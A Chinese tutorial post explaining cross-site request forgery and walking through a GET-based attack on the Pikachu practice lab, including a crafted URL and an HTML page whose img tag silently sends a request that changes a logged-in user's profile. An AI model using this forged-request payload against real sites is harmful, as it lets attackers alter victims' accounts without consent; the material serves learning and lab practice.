CSRF:跨站请求伪造原理与实例

原理:

1 现有a和b两个网站,其中a网站为受害者常用网站,网站内存在csrf漏洞。b网站为攻击者网站,存在恶意代码

2 当受害者登录a网站并保存了该网站的cookie,在未退出登录的情况下,点击攻击者发送的链接,跳转到攻击者所创建的网站

3 进入攻击者网站时,触发网站中的恶意代码,使攻击者,伪装成受害者所在网站的账户,进行操作

GET类型实例pikachu:

实现更改用户信息

1.登录lili用户

2.编辑用户信息并提交

3.由于提交过后会直接跳转,此处使用bp,抓包查看提交参数:在提交时断网也可在url中看见

4.复制接口地址,并拼接url

http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili\&phonenum=18656565545\&add=10ss\&email=lili%40pikachu.com\&submit=submit

5.编写前端脚本

使用img标签,使加载时携带指定参数向接口发送请求

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <img src="http://121.40.54.224:81/pikachu-master/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=lili&phonenum=18656565545&add=10ss&email=lili%40pikachu.com&submit=submit">
</body>
</html>

6.访问攻击者网站,实现攻击

<1.用户点击链接

<2.进入网站,触发图片加载,向接口发送请求,实现修改数据

用户正常使用与攻击者网页发送的请求,进行cookie的比较,其cookie值相同

相关推荐
用户033307413955 小时前
TypeScript using 与 AsyncDisposableStack:在真实服务端代码中协调多资源清理
前端
daisychey5 小时前
用 Playwright 做多平台内容分发,我踩过的 8 个坑
前端
IT_陈寒7 小时前
为什么你应该学习JavaScript?
前端·人工智能·后端
大龄秃头程序员7 小时前
iOS冷启动监控Demo
前端
光影少年7 小时前
为什么 JavaScript 中 0.1 + 0.2 !== 0.3,如何让其相等?
前端·javascript·算法
掘金酱7 小时前
[稀土掘金 × 火山引擎] AI用量周榜冲刺赛|获奖名单公示
前端·人工智能·后端
泡泡oO8 小时前
“如果你还在用Superpowers,那我不要和你说话”
前端·后端·全栈
维克兜率天8 小时前
趋势过滤:避免被“假突破“反复打脸
前端
8年区块链老兵8 小时前
一篇文章教会你:用区块高度读懂比特币链上的每一笔交易
前端
xixichensh8 小时前
前端转做AI程序员第一步——开发一个AI流式对话Demo
前端